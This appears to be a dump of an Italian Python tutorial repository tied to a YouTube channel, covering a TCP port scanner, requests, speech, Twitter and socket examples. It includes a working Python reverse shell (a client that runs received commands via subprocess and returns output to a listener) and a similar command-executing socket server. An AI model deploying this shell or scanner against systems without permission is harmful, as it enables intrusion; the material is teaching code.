"netml", 373 | "2301": "cpq-wbem", 374 | "2323": "3d-nfsd", 375 | "2366": "qip-login", 376 | "2381": "compaq-https", 377 | "2382": "ms-olap3", 378 | "2383": "ms-olap4", 379 | "2393": "ms-olap1", 380 | "2394": "ms-olap2", 381 | "2399": "fmpro-fdal", 382 | "2401": "cvspserver", 383 | "2492": "groove", 384 | "2500": "rtsserv", 385 | "2522": "windb", 386 | "2525": "ms-v-worlds", 387 | "2557": "nicetec-mgmt", 388 | "2601": "discp-client", 389 | "2602": "discp-server", 390 | "2604": "nsc-ccs", 391 | "2605": "nsc-posa", 392 | "2607": "connection", 393 | "2608": "wag-service", 394 | "2638": "sybaseanywhere", 395 | "2701": "sms-rcinfo", 396 | "2702": "sms-xfer", 397 | "2710": "sso-service", 398 | "2717": "pn-requester", 399 | "2718": "pn-requester2", 400 | "2725": "msolap-ptp2", 401 | "2800": "acc-raid", 402 | "2809": "corbaloc", 403 | "2811": "gsiftp", 404 | "2869": "icslap", 405 | "2875": "dxmessagebase2", 406 | "2909": "funk-dialout", 407 | "2910": "tdaccess", 408 | "2920": "roboeda", 409 | "2967": "ssc-agent", 410 | "2968": "enpp", 411 | "2998": "realsecure", 412 | "3000": "remoteware-cl", 413 | "3001": "origo-native", 414 | "3003": "cgms", 415 | "3005": "geniuslm", 416 | "3006": "ii-admin", 417 | "3007": "lotusmtap", 418 | "3011": "trusted-web", 419 | "3013": "gilatskysurfer", 420 | "3017": "event_listener", 421 | "3030": "arepa-cas", 422 | "3031": "eppc", 423 | "3052": "apc-3052", 424 | "3071": "xplat-replicate", 425 | "3077": "orbix-loc-ssl", 426 | "3128": "ndl-aas", 427 | "3168": "poweronnud", 428 | "3211": "avsecuremgmt", 429 | "3221": "xnm-clear-text", 430 | "3260": "iscsi-target", 431 | "3261": "winshadow", 432 | "3268": "msft-gc", 433 | "3269": "msft-gc-ssl", 434 | "3283": "Apple Remote Desktop (Net Assistant)", 435 | "3300": "ceph", 436 | "3306": "mysql", 437 | "3333": "dec-notes", 438 | "3351": "btrieve", 439 | "3372": "tip2", 440 | "3389": "ms-wbt-server", 441 | "3390": "dsc", 442 | "3476": "nppmp", 443 | "3493": "nut", 444 | "3517": "802-11-iapp", 445 | "3527": "beserver-msg-q", 446 | "3551": "apcupsd", 447 | "3580": "nati-svrloc", 448 | "3659": "apple-sasl", 449 | "3689": "daap", 450 | "3690": "svn", 451 | "3703": "adobeserver-3", 452 | "3737": "xpanel", 453 | "3766": "sitewatch-s", 454 | "3784": "bfd-control", 455 | "3800": "pwgpsi", 456 | "3801": "ibm-mgr", 457 | "3809": "apocd", 458 | "3814": "neto-dcs", 459 | "3826": "warmux", 460 | "3827": "netmpi", 461 | "3828": "neteh", 462 | "3851": "spectraport", 463 | "3869": "ovsam-mgmt", 464 | "3871": "avocent-adsap", 465 | "3878": "fotogcad", 466 | "3880": "igrs", 467 | "3889": "dandv-tester", 468 | "3905": "mupdate", 469 | "3914": "listcrt-port-2", 470 | "3918": "pktcablemmcops", 471 | "3920": "exasoftport1", 472 | "3945": "emcads", 473 | "3971": "lanrevserver", 474 | "3986": "mapper-ws_ethd", 475 | "3995": "iss-mgmt-ssl", 476 | "3998": "dnx", 477 | "4000": "terabase", 478 | "4001": "newoak", 479 | "4002": "pxc-spvr-ft", 480 | "4003": "pxc-splr-ft", 481 | "4004": "pxc-roid", 482 | "4005": "pxc-pin", 483 | "4006": "pxc-spvr", 484 | "4045": "npp", 485 | "4111": "xgrid", 486 | "4125": "opsview-envoy", 487 | "4126": "ddrepl", 488 | "4129": "nuauth", 489 | "4321": "rwhois", 490 | "4343": "unicall", 491 | "4443": "pharos", 492 | "4444": "nv-video", 493 | "4445": "upnotifyp", 494 | "4446": "n1-fwp", 495 | "4449": "privatewire", 496 | "4550": "gds-adppiw-db", 497 | "4567": "tram", 498 | "4662": "oms", 499 | "4848": "appserv-http", 500 | "4899": "radmin-port", 501 | "4900": "hfcs", 502 | "5000": "commplex-main", 503 | "5001": "commplex-link", 504 | "5002": "rfe", 505 | "5003": "fmpro-internal", 506 | "5004": "avt-profile-1", 507 | "5009": "winfs", 508 | "5030": "surfpass", 509 | "5033": "jtnetd-server", 510 | "5050": "mmcc", 511 | "5051": "ita-agent", 512 | "5054": "rlm-admin", 513 | "5060": "sip", 514 | "5061": "sips", 515 | "5080": "onscreen", 516 | "5087": "biotic", 517 | "5100": "socalia", 518 | "5101": "talarian-tcp", 519 | "5102": "oms-nonsecure", 520 | "5120": "barracuda-bbs", 521 | "5190": "aol", 522 | "5200": "targus-getdata", 523 | "5221": "3exmp", 524 | "5222": "xmpp-client", 525 | "5225": "hp-server", 526 | "5226": "hp-status", 527 | "5269": "xmpp-server", 528 | "5280": "xmpp-bosh", 529 | "5298": "presence", 530 | "5357": "wsdapi", 531 | "5405": "netsupport", 532 | "5414": "statusd", 533 | "5431": "park-agent", 534 | "5432": "postgresql", 535 | "5500": "fcp-addr-srvr1", 536 | "5550": "cbus", 537 | "5555": "personal-agent", 538 | "5566": "westec-connect", 539 | "5631": "pcanywheredata", 540 | "5633": "beorl", 541 | "5666": "nrpe", 542 | "5678": "rrac", 543 | "5679": "dccm", 544 | "5718": "dpm", 545 | "5730": "unieng", 546 | "5859": "wherehoo", 547 | "5900": "rfb", 548 | "5910": "cm", 549 | "5911": "cpdlc", 550 | "5963": "indy", 551 | "5987": "wbem-rmi", 552 | "5988": "wbem-http", 553 | "5989": "wbem-https", 554 | "5999": "cvsup", 555 | "6000": "x11", 556 | "6100": "synchronet-db", 557 | "6101": "synchronet-rtc", 558 | "6106": "mpsserver", 559 | "6112": "dtspcd", 560 | "6123": "backup-express", 561 | "6346": "gnutella-svc", 562 | "6389": "clariion-evr01", 563 | "6502": "boks_servm", 564 | "6510": "mcer-port", 565 | "6543": "lds-distrib", 566 | "6547": "apc-6547", 567 | "6566": "sane-port", 568 | "6580": "parsec-master", 569 | "6669": "ircu", 570 | "6689": "tsa", 571 | "6788": "smc-http", 572 | "6789": "radg", 573 | "6901": "jetstream", 574 | "6969": "acmsoda", 575 | "7000": "afs3-fileserver", 576 | "7001": "afs3-callback", 577 | "7002": "afs3-prserver", 578 | "7004": "afs3-kaserver", 579 | "7007": "afs3-bos", 580 | "7019": "doceri-ctl", 581 | "7025": "vmsvc-2", 582 | "7070": "arcp", 583 | "7100": "font-service", 584 | "7200": "fodms", 585 | "7201": "dlip", 586 | "7402": "rtps-dd-mt", 587 | "7443": "oracleas-https", 588 | "7627": "soap-http", 589 | "7676": "imqbrokerd", 590 | "7741": "scriptview", 591 | "7777": "cbt", 592 | "7778": "interwise", 593 | "7800": "asr", 594 | "7999": "irdmi2", 595 | "8000": "irdmi", 596 | "8001": "vcom-tunnel", 597 | "8002": "teradataordbms", 598 | "8007": "warppipe", 599 | "8008": "http-alt", 600 | "8009": "nvme-disc", 601 | "8021": "intu-ec-client", 602 | "8022": "oa-system", 603 | "8042": "fs-agent", 604 | "8080": "http-alt", 605 | "8081": "sunproxyadmin", 606 | "8082": "us-cli", 607 | "8083": "us-srv", 608 | "8084": "websnp", 609 | "8086": "d-s-n", 610 | "8087": "simplifymedia", 611 | "8088": "radan-http", 612 | "8090": "opsmessaging", 613 | "8100": "xprint-server", 614 | "8181": "intermapper", 615 | "8192": "spytechphone", 616 | "8194": "blp1", 617 | "8200": "trivnet1", 618 | "8292": "blp3", 619 | "8300": "tmi", 620 | "8383": "m2mservices", 621 | "8400": "cvd", 622 | "8402": "abarsd", 623 | "8443": "pcsync-https", 624 | "8500": "fmtp", 625 | "8600": "asterix", 626 | "8800": "sunwebadmin", 627 | "8873": "dxspider", 628 | "8888": "ddi-tcp-1", 629 | "8899": "ospf-lite", 630 | "9000": "cslistener", 631 | "9001": "etlservicemgr", 632 | "9002": "dynamid", 633 | "9009": "pichat", 634 | "9010": "sdr", 635 | "9050": "versiera", 636 | "9080": "glrpc", 637 | "9090": "websm", 638 | "9091": "xmltec-xmlmail", 639 | "9100": "pdl-datastream", 640 | "9101": "bacula-dir", 641 | "9102": "bacula-fd", 642 | "9103": "bacula-sd", 643 | "9111": "hexxorecore", 644 | "9200": "wap-wsp", 645 | "9207": "wap-vcal-s", 646 | "9418": "git", 647 | "9500": "ismserver", 648 | "9535": "mngsuite", 649 | "9593": "cba8", 650 | "9594": "msgsys", 651 | "9595": "pds", 652 | "9618": "condor", 653 | "9666": "zoomcp", 654 | "9876": "sd", 655 | "9877": "x510", 656 | "9898": "monkeycom", 657 | "9900": "iua", 658 | "9998": "distinct32", 659 | "9999": "distinct", 660 | "10000": "ndmp", 661 | "10001": "scp-config", 662 | "10002": "documentum", 663 | "10003": "documentum_s", 664 | "10004": "emcrmirccd", 665 | "10009": "swdtp-sv", 666 | "10010": "rxapi", 667 | "11110": "sgi-soap", 668 | "11111": "vce", 669 | "11967": "sysinfo-sp", 670 | "12000": "entextxid", 671 | "12345": "italk", 672 | "13722": "bpjava-msvc", 673 | "13782": "bpcd", 674 | "13783": "vopied", 675 | "14000": "scotty-ft", 676 | "15000": "hydap", 677 | "15002": "onep-tls", 678 | "15660": "bex-xr", 679 | "16000": "fmsas", 680 | "16001": "fmsascon", 681 | "16992": "amt-soap-http", 682 | "16993": "amt-soap-https", 683 | "19283": "keysrvr", 684 | "19315": "keyshadow", 685 | "20000": "dnp", 686 | "20005": "openwebnet", 687 | "20222": "ipulse-ics", 688 | "30000": "ndmps", 689 | "32768": "filenet-tms", 690 | "32769": "filenet-rpc", 691 | "32770": "filenet-nch", 692 | "32771": "filenet-rmi", 693 | "32772": "filenet-pa", 694 | "32773": "filenet-cm", 695 | "32774": "filenet-re", 696 | "32775": "filenet-pch", 697 | "32776": "filenet-peior", 698 | "32777": "filenet-obrok", 699 | "42510": "caerpc" 700 | } -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_5/p_scan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | import pyfiglet 5 | from rich.console import Console 6 | from rich.table import Table 7 | 8 | from utils import extract_json_data, threadpool_executer 9 | 10 | console = Console() 11 | 12 | 13 | class PScan: 14 | 15 | PORTS_DATA_FILE = "./common_ports.json" 16 | 17 | def __init__(self): 18 | self.open_ports = [] 19 | self.ports_info = {} 20 | self.remote_host = "" 21 | 22 | def get_ports_info(self): 23 | data = extract_json_data(PScan.PORTS_DATA_FILE) 24 | self.ports_info = {int(k): v for (k, v) in data.items()} 25 | 26 | @staticmethod 27 | def get_host_ip_addr(target): 28 | try: 29 | ip_addr = socket.gethostbyname(target) 30 | except socket.gaierror as e: 31 | print(f"C'è stato un errore... {e}") 32 | sys.exit() 33 | console.print(f"\nIP Address acquired: [bold blue]{ip_addr}[/bold blue]") 34 | return ip_addr 35 | 36 | def scan_port(self, port): 37 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 38 | sock.settimeout(1.0) 39 | conn_status = sock.connect_ex((self.remote_host, port)) 40 | if conn_status == 0: 41 | self.open_ports.append(port) 42 | sock.close() 43 | 44 | def show_completion_message(self): 45 | print() 46 | if self.open_ports: 47 | console.print("Scan Completed. Open Ports:", style="bold blue") 48 | table = Table(show_header=True, header_style="bold green") 49 | table.add_column("PORT", style="blue") 50 | table.add_column("STATE", style="blue", justify="center") 51 | table.add_column("SERVICE", style="blue") 52 | for port in self.open_ports: 53 | table.add_row(str(port), "OPEN", self.ports_info[port]) 54 | console.print(table) 55 | else: 56 | console.print("No Open Ports Found on Target.", style="bold magenta") 57 | 58 | @staticmethod 59 | def show_startup_message(): 60 | ascii_art = pyfiglet.figlet_format("# PSCAN #") 61 | console.print(f"[bold green]{ascii_art}[/bold green]") 62 | console.print("#" * 55, style="bold green") 63 | console.print( 64 | "#" * 9, "Simple MultiThread TCP Port Scanner", "#" * 9, style="bold green" 65 | ) 66 | console.print("#" * 55, style="bold green") 67 | print() 68 | 69 | def initialize(self): 70 | self.show_startup_message() 71 | self.get_ports_info() 72 | try: 73 | target = input("Inserire Target: ") 74 | except KeyboardInterrupt: 75 | console.print("\nRoger that. Exiting.", style="bold red") 76 | sys.exit() 77 | self.remote_host = self.get_host_ip_addr(target) 78 | try: 79 | input("\nPScan is ready. Press ENTER to run the scanner.") 80 | except KeyboardInterrupt: 81 | console.print("\nRoger that. Exiting.", style="bold red") 82 | sys.exit() 83 | else: 84 | self.run() 85 | 86 | def run(self): 87 | threadpool_executer( 88 | self.scan_port, self.ports_info.keys(), len(self.ports_info.keys()) 89 | ) 90 | self.show_completion_message() 91 | 92 | 93 | 94 | if __name__ == "__main__": 95 | pscan = PScan() 96 | pscan.initialize() 97 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_5/requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.4 2 | commonmark==0.9.1 3 | pyfiglet==0.8.post1 4 | Pygments==2.7.4 5 | rich==9.4.0 6 | typing-extensions==3.7.4.3 7 | -------------------------------------------------------------------------------- /Port_Scanner_MultiThread/video_5/utils.py: -------------------------------------------------------------------------------- 1 | import json 2 | from multiprocessing.pool import ThreadPool 3 | # from concurrent.futures import ThreadPoolExecuter 4 | import os 5 | 6 | from rich.console import Console 7 | 8 | console = Console() 9 | 10 | 11 | def display_progress(iteration, total): 12 | bar_max_width = 45 # char 13 | bar_current_width = bar_max_width * iteration // total 14 | bar = "█" * bar_current_width + "-" * (bar_max_width - bar_current_width) 15 | progress = "%.1f" % (iteration / total * 100) 16 | console.print(f"|{bar}| {progress} %", end="\r", style="bold green") 17 | if iteration == total: 18 | print() 19 | 20 | 21 | def extract_json_data(filename): 22 | with open(filename, "r") as file: 23 | data = json.load(file) 24 | return data 25 | 26 | 27 | def threadpool_executer(function, iterable, iterable_length): 28 | number_of_workers = os.cpu_count() 29 | print(f"\nRunning using {number_of_workers} workers.\n") 30 | with ThreadPool(number_of_workers) as pool: 31 | for loop_index, _ in enumerate(pool.imap(function, iterable), 1): 32 | display_progress(loop_index, iterable_length) -------------------------------------------------------------------------------- /PyScript_Hello_World/pyscript-hello.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Hello PyScript! 8 | 9 | 10 | 16 | 17 | 18 | 19 |
20 |

Python Version

21 |

Version:

22 | 23 | 31 |
32 | 33 | 34 | import sys 35 | 36 | def show_python_version(*args, **kwargs): 37 | output_paragraph = Element(element_id="output") 38 | version = sys.version 39 | output_paragraph.write(f"Version: {version}") 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /Python_Reverse_Shell/client.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import subprocess 4 | import sys 5 | 6 | def receiver(s): 7 | """Ricevi comandi di sistema ed eseguili.""" 8 | while True: 9 | cmd_bytes = s.recv(4096) 10 | cmd = cmd_bytes.decode("utf-8") 11 | if cmd.startswith("cd "): 12 | os.chdir(cmd[3:]) 13 | s.send(b"$: ") 14 | continue 15 | if len(cmd) > 0: 16 | p = subprocess.run(cmd, shell=True, capture_output=True) 17 | data = p.stdout + p.stderr 18 | s.sendall(data + b"$: ") 19 | 20 | def connect(address): 21 | """Stabilisci una connessione con address, quindi chiama receiver().""" 22 | try: 23 | s = socket.socket() 24 | s.connect(address) 25 | print("Connessione Stabilita.") 26 | print(f"Indirizzo: {address}") 27 | except socket.error as error: 28 | print("Qualcosa è andato storto... info di seguito.") 29 | print(error) 30 | sys.exit() 31 | receiver(s) 32 | 33 | 34 | if __name__ == "__main__": 35 | host = "192.168.1.7" 36 | port = 19876 37 | connect((host, port)) 38 | -------------------------------------------------------------------------------- /Python_Reverse_Shell/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | def send_commands(s, conn): 5 | """Prendi un comando dall'utente e invialo al Client.""" 6 | print("\nCtrl + C per chiudere la connessione.") 7 | print("Naviga il sistema come al solito con cd.") 8 | print("Questo codice è a solo scopo informativo.\n") 9 | print("$: ", end="") 10 | while True: 11 | try: 12 | cmd = input() 13 | if len(cmd) > 0: 14 | conn.sendall(cmd.encode()) 15 | data = conn.recv(4096) 16 | print(data.decode("utf-8"), end="") 17 | except KeyboardInterrupt: 18 | print("\nA presto.") 19 | conn.close() 20 | s.close() 21 | sys.exit() 22 | except Exception as e: 23 | print(e) 24 | conn.close() 25 | s.close() 26 | sys.exit() 27 | 28 | def server(address): 29 | """Inizializza un server socket e attendi una connessione.""" 30 | try: 31 | s = socket.socket() 32 | s.bind(address) 33 | s.listen() 34 | print("Server Inizializzato. Sono in ascolto...") 35 | except Exception as e: 36 | print("\nSembra che qualcosa sia andato storto.") 37 | print(e) 38 | restart = input("\nVuoi che reinizializzi il server? s/n ") 39 | if restart.lower() == "s" or restart.lower() == "si": 40 | print("\nRicevuto. Sto reinizializzando il server...\n") 41 | server(address) 42 | else: 43 | print("\nA presto, ed Happy Coding! ;)\n") 44 | sys.exit() 45 | conn, client_addr = s.accept() 46 | print(f"Connessione Stabilita: {client_addr}") 47 | send_commands(s, conn) 48 | 49 | 50 | if __name__ == "__main__": 51 | host = "192.168.1.7" 52 | port = 19876 53 | server((host, port)) 54 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## YouTube Scripts - Italian Channel 2 | 3 | #### Il codice usato nei video del mio canale YouTube Italiano, dal blog di programmareinpython.it 4 | 5 | Canale YouTube Italiano: https://www.youtube.com/c/pymike 6 | 7 | Blog Italiano: https://www.programmareinpython.it/blog/ 8 | 9 |
10 | 11 | ### Link ai Video Tutorial Corrispondenti 12 | 13 | + Python nel Browser con Pyscript: https://youtu.be/TI6fUdb-vhQ 14 | 15 | + Come Creare un Port Scanner TCP Multi Thread: https://bit.ly/3nhxxFw 16 | 17 | + Come Creare App per Smartphone (e Desktop!) con Python e Kivy: https://bit.ly/app-smartphone-python 18 | 19 | + Riconoscimento Facciale da Immagini - Parte Uno: https://youtu.be/d2QIw6cQg40 20 | 21 | + Riconoscimento Facciale da Immagini - Parte Due: https://youtu.be/BHbtU0wtUSo 22 | 23 | + Riconoscimento Facciale In Tempo Reale (WEBCAM): https://youtu.be/5moAA31iTmM 24 | 25 | + Requests: HTTP Per Esseri Umani - Tutorial: https://youtu.be/LKNo_FGd3bc 26 | 27 | + Speed Coding di una Reverse Shell Python: https://youtu.be/N8DizNACPs8 28 | 29 | + Come Creare Interfacce Grafiche per Python con TkInter: https://youtu.be/2vWCzB9HBgk 30 | 31 | + Come Creare un Editor Testuale Completo con Python e TkInter: https://bit.ly/2tGitXv 32 | 33 | + Come Creare un Chatbot con Python e Chatterbot (codice aggiornato): https://youtu.be/oskYHwhpNsw 34 | 35 | + Come accedere all'API di Twitter con Python e Tweepy: https://youtu.be/O9l5wan2lhk 36 | 37 | + Riconoscimento Vocale con Python e SpeechRecognition: https://youtu.be/EkStkZwwJxM 38 | 39 | + Sintesi Vocale con Python e gTTS: https://youtu.be/cakPogQAlWI 40 | 41 | + Introduzione al Modulo Socket: https://youtu.be/UPHNw9J6fio 42 | 43 | + Server-Client TCP con Socket Pt.1: https://youtu.be/8ZnuRSrIePk 44 | 45 | + Server-Client TCP con Socket Pt.2: https://youtu.be/x7ssH_K7x0Y 46 | 47 | + Introduzione al Modulo ArgParse Pt.1: https://youtu.be/5qQihCe6eis 48 | 49 | + Introduzione al Modulo ArgParse Pt.2: https://youtu.be/w7KWwY27MJI 50 | 51 |
52 | 53 | #### ATTENZIONE: Questa è solo una piccola parte del materiale disponibile! 54 | ##### Di seguito un elenco dei video corsi in Italiano su Python, Django, Django REST Framework, Vue JS, JavaScript, Bootstrap: 55 | 56 | + Guida Pratica e Completa a Django 2, Python 3 e Bootstrap 4: https://bit.ly/2FsiHu3 57 | 58 | + Guida per Sviluppatori a Django REST Framework e Vue JS: https://bit.ly/2Qs0Tzt 59 | 60 | + JavaScript per Sviluppatori Python: https://bit.ly/2QykNgv 61 | 62 | + Serie di Tutorial YouTube - Introduzione alla programmazione con Python: https://bit.ly/2q4YqmJ 63 | 64 | + Come Creare un Blog con Django 1.11 e Bootstrap 3.3.7: https://bit.ly/2CvnQg5 65 | 66 | + Introduzione alla Programmazione a Oggetti con Python 3: https://bit.ly/2lzxN47 67 | 68 | + Serie di Tutorial YouTube - Python 3 "Concetti Intermedi": https://bit.ly/2Cg53IH 69 | 70 |
71 | 72 | #### Iscriviti al Canale YouTube Italiano: https://www.youtube.com/c/PyMike?sub_confirmation=1 73 | 74 | ### E come al solito... Happy Coding! ;) 75 | -------------------------------------------------------------------------------- /Requests-HTTP_Per_Esseri_Umani/0-requests-tutorial-ita.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | # Documentazione modulo: http://it.python-requests.org/it/latest/ 4 | 5 | ############################################################################### 6 | ############################################################################### 7 | 8 | # Una richiesta di tipo GET verso la homepage di Google 9 | response = requests.get("https://www.google.it") 10 | 11 | # Verifichiamo il Codice di Stato 12 | print("Status Code: ", response.status_code) 13 | 14 | # Scorciatoia messa a disposizione dal modulo per verificare se la risposta è 15 | # andata a buon fine (status code < 400) 16 | if response.ok: 17 | print("Tutto ok!") 18 | else: 19 | print("Qualcosa è andato storto...") 20 | 21 | ############################################################################### 22 | ############################################################################### 23 | 24 | # Qualora venga ricevuto del contenuto, questo può essere visionato in maniera 25 | # diversa a seconda del tipo di contenuto in se 26 | 27 | # Contenuto della risposta in tipo Bytes 28 | print(response.content) 29 | print(type(response.content)) 30 | 31 | # Contenuto della risposta in tipo String 32 | print(response.text) 33 | print(type(response.text)) 34 | 35 | # Quanto sappiamo che riceveremo un JSON, possiamo usare json() 36 | print(response.json()) 37 | 38 | ############################################################################### 39 | ############################################################################### 40 | 41 | # Possiamo visionare gli headers nel messaggio di risposta per ottenere 42 | # informazioni utili come ad esempio il tipo di contenuto ricevuto: 43 | print("Content-Type: ", response.headers['Content-Type']) 44 | 45 | # E in generale tutti gli header che fanno parte del messaggio di risposta: 46 | print("Headers: ", response.headers) 47 | 48 | ############################################################################### 49 | ############################################################################### 50 | -------------------------------------------------------------------------------- /Requests-HTTP_Per_Esseri_Umani/1-requests-tutorial-ita.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def get_json(endpoint): 4 | response = requests.get(endpoint) 5 | 6 | if response.ok: 7 | json_data = response.json() 8 | return json_data 9 | else: 10 | print("Status Code: ", response.status_code) 11 | print("Response Content: ", response.content) 12 | raise Exception("C'è stato un errore...") 13 | 14 | def show_rates(data, currency): 15 | print("JSON data: ", data) 16 | rate_date = data["date"] 17 | exchange_rate = data["rates"][currency] 18 | print(f"1 EUR corrisponde a { exchange_rate } { currency } il giorno { rate_date }") 19 | 20 | 21 | if __name__ == "__main__": 22 | endpoint = "https://api.exchangeratesapi.io/latest" 23 | data = get_json(endpoint) 24 | show_rates(data, "SEK") -------------------------------------------------------------------------------- /Requests-HTTP_Per_Esseri_Umani/2-requests-tutorial-ita.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def get_rates(a, b): 4 | # response = requests.get("https://api.exchangeratesapi.io/latest?base=USD&symbols=CAD") 5 | 6 | payload = {"base": a, "symbols": b} 7 | response = requests.get("https://api.exchangeratesapi.io/latest", params=payload) 8 | 9 | if response.ok: 10 | data = response.json() 11 | print(data) 12 | rate_date = data["date"] 13 | exchange_rate = data["rates"][b] 14 | print(f"1 { a } corrisponde a { exchange_rate } { b } il giorno { rate_date }") 15 | else: 16 | print("Status Code: ", response.status_code) 17 | print("Response Content: ", response.content) 18 | raise Exception("C'è stato un errore...") 19 | 20 | 21 | if __name__ == "__main__": 22 | a = "TRY" 23 | b = "GBP" 24 | get_rates(a, b) 25 | -------------------------------------------------------------------------------- /Requests-HTTP_Per_Esseri_Umani/3-requests-tutorial-ita.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def login(credentials): 4 | """Date delle credenziali, effettua il login all'app 5 | e restituisci un token di autenticazione ricevuto dall'app. 6 | """ 7 | response = requests.post("http://127.0.0.1:8000/api/rest-auth/login/", data=credentials) 8 | 9 | if response.ok: 10 | print("Login: Success!") 11 | print(response.json()) 12 | auth_token = response.json()['key'] 13 | return auth_token 14 | else: 15 | raise Exception("Errore. ", response.status_code) 16 | 17 | def auth_request(endpoint, auth_token): 18 | """Dato un endpoint e un token di autenticazione, 19 | effettua una richiesta di tipo GET. 20 | """ 21 | auth_header = f"Token { auth_token }" 22 | headers = {"Authorization": auth_header} 23 | 24 | response = requests.get(endpoint, headers=headers) 25 | 26 | if response.ok: 27 | response_data = response.json() 28 | print("Data: ", response_data) 29 | else: 30 | raise Exception("Errore. ", response.status_code) 31 | 32 | 33 | if __name__ == "__main__": 34 | credentials = {"username": "", "password": ""} 35 | auth_token = login(credentials) 36 | endpoint = "http://127.0.0.1:8000/api/questions/" 37 | 38 | auth_request(endpoint, auth_token) 39 | -------------------------------------------------------------------------------- /Riconoscimento_Vocale_Python_SPEECHRECOGNITION/audio_file_voice_recognition.py: -------------------------------------------------------------------------------- 1 | import speech_recognition as sr 2 | 3 | wav = sr.AudioFile("/percorso/file.wav") # formati riconosciuti: .aiff .flac .wav 4 | 5 | with wav as source: 6 | recognizer_instance.pause_threshold = 3.0 7 | audio = recognizer_instance.listen(source) 8 | print("Ok! sto ora elaborando il messaggio!") 9 | try: 10 | text = recognizer_instance.recognize_google(audio, language="it-IT") 11 | print("Google ha capito: \n", text) 12 | except Exception as e: 13 | print(e) -------------------------------------------------------------------------------- /Riconoscimento_Vocale_Python_SPEECHRECOGNITION/live_microphone_voice_recognition.py: -------------------------------------------------------------------------------- 1 | import speech_recognition as sr 2 | 3 | recognizer_instance = sr.Recognizer() # Crea una istanza del recognizer 4 | 5 | with sr.Microphone() as source: 6 | recognizer_instance.adjust_for_ambient_noise(source) 7 | print("Sono in ascolto... parla pure!") 8 | audio = recognizer_instance.listen(source) 9 | print("Ok! sto ora elaborando il messaggio!") 10 | try: 11 | text = recognizer_instance.recognize_google(audio, language="it-IT") 12 | print("Google ha capito: \n", text) 13 | except Exception as e: 14 | print(e) -------------------------------------------------------------------------------- /Server-Client-TCP_con_Modulo_Socket/sub_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | def invia_comandi(s): 5 | while True: 6 | comando = input("-> ") 7 | if comando == "ESC": 8 | print("Sto chiudendo la connessione col Server.") 9 | s.close() 10 | sys.exit() 11 | else: 12 | s.send(comando.encode()) 13 | data = s.recv(4096) 14 | print(str(data, "utf-8")) 15 | 16 | def conn_sub_server(indirizzo_server): 17 | try: 18 | s = socket.socket() # creazione socket client 19 | s.connect(indirizzo_server) # connessione al server 20 | print(f"Connessessione al Server: {indirizzo_server} effettuata.") 21 | except socket.error as errore: 22 | print(f"Qualcosa è andato storto, sto uscendo... \n{errore}") 23 | sys.exit() 24 | invia_comandi(s) 25 | 26 | if __name__ == '__main__': 27 | conn_sub_server(("insert-address", 20000)) -------------------------------------------------------------------------------- /Server-Client-TCP_con_Modulo_Socket/sub_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import subprocess 3 | 4 | def ricevi_comandi(conn): 5 | while True: 6 | richiesta = conn.recv(4096) 7 | risposta = subprocess.run(richiesta.decode(), 8 | shell=True, 9 | stdout=subprocess.PIPE, 10 | stderr=subprocess.PIPE) 11 | data = risposta.stdout + risposta.stderr 12 | conn.sendall(data) 13 | 14 | 15 | def sub_server(indirizzo, backlog=1): 16 | try: 17 | s = socket.socket() 18 | s.bind(indirizzo) 19 | s.listen(backlog) 20 | print("Server Inizializzato. In ascolto...") 21 | except socket.error as errore: 22 | print(f"Qualcosa è andato storto... \n{errore}") 23 | print(f"Sto tentando di reinizializzare il server...") 24 | sub_server(indirizzo, backlog=1) 25 | conn, indirizzo_client = s.accept() # conn = socket_client 26 | print(f"Connessione Server - Client Stabilita: {indirizzo_client}") 27 | ricevi_comandi(conn) 28 | 29 | if __name__ == '__main__': 30 | sub_server(("insert-address", 20000)) -------------------------------------------------------------------------------- /Sintesi_Vocale_Python_gTTS/gTTS_tutorial.py: -------------------------------------------------------------------------------- 1 | from gtts import gTTS 2 | import subprocess 3 | 4 | text = """ciao a tutti, questo è il primo test!""" 5 | 6 | tts = gTTS(text=text, lang='it') 7 | tts.save("tts_output_audio.mp3") 8 | 9 | print("tutto fatto, file salvato!") 10 | 11 | subprocess.run(["audacious", "tts_output_audio.mp3"]) -------------------------------------------------------------------------------- /Twitter_API_con_Python_e_TWEEPY/tweepy_tutorial.py: -------------------------------------------------------------------------------- 1 | import tweepy 2 | from twitter_app_credentials import * 3 | 4 | auth = tweepy.OAuthHandler(consumer_key, consumer_secret) 5 | auth.set_access_token(access_token, access_token_secret) 6 | api = tweepy.API(auth) 7 | 8 | # new_tweet = api.update_status("Nuovo video tutorial in fase di registrazione... ;)") # hello world 9 | 10 | public_tweets = tweepy.Cursor(api.search, 11 | q="bitcoin", 12 | result_type="mixed", 13 | tweet_mode="extended").items(100) 14 | 15 | for tweet in public_tweets: 16 | print("@" + tweet.user.screen_name) 17 | tweet_text = tweet.full_text 18 | print(tweet_text) 19 | print() -------------------------------------------------------------------------------- /Twitter_API_con_Python_e_TWEEPY/twitter_app_credentials.py: -------------------------------------------------------------------------------- 1 | # My Twitter App Credentials 2 | consumer_key = "" 3 | consumer_secret = "" 4 | 5 | access_token = "" 6 | access_token_secret = "" --------------------------------------------------------------------------------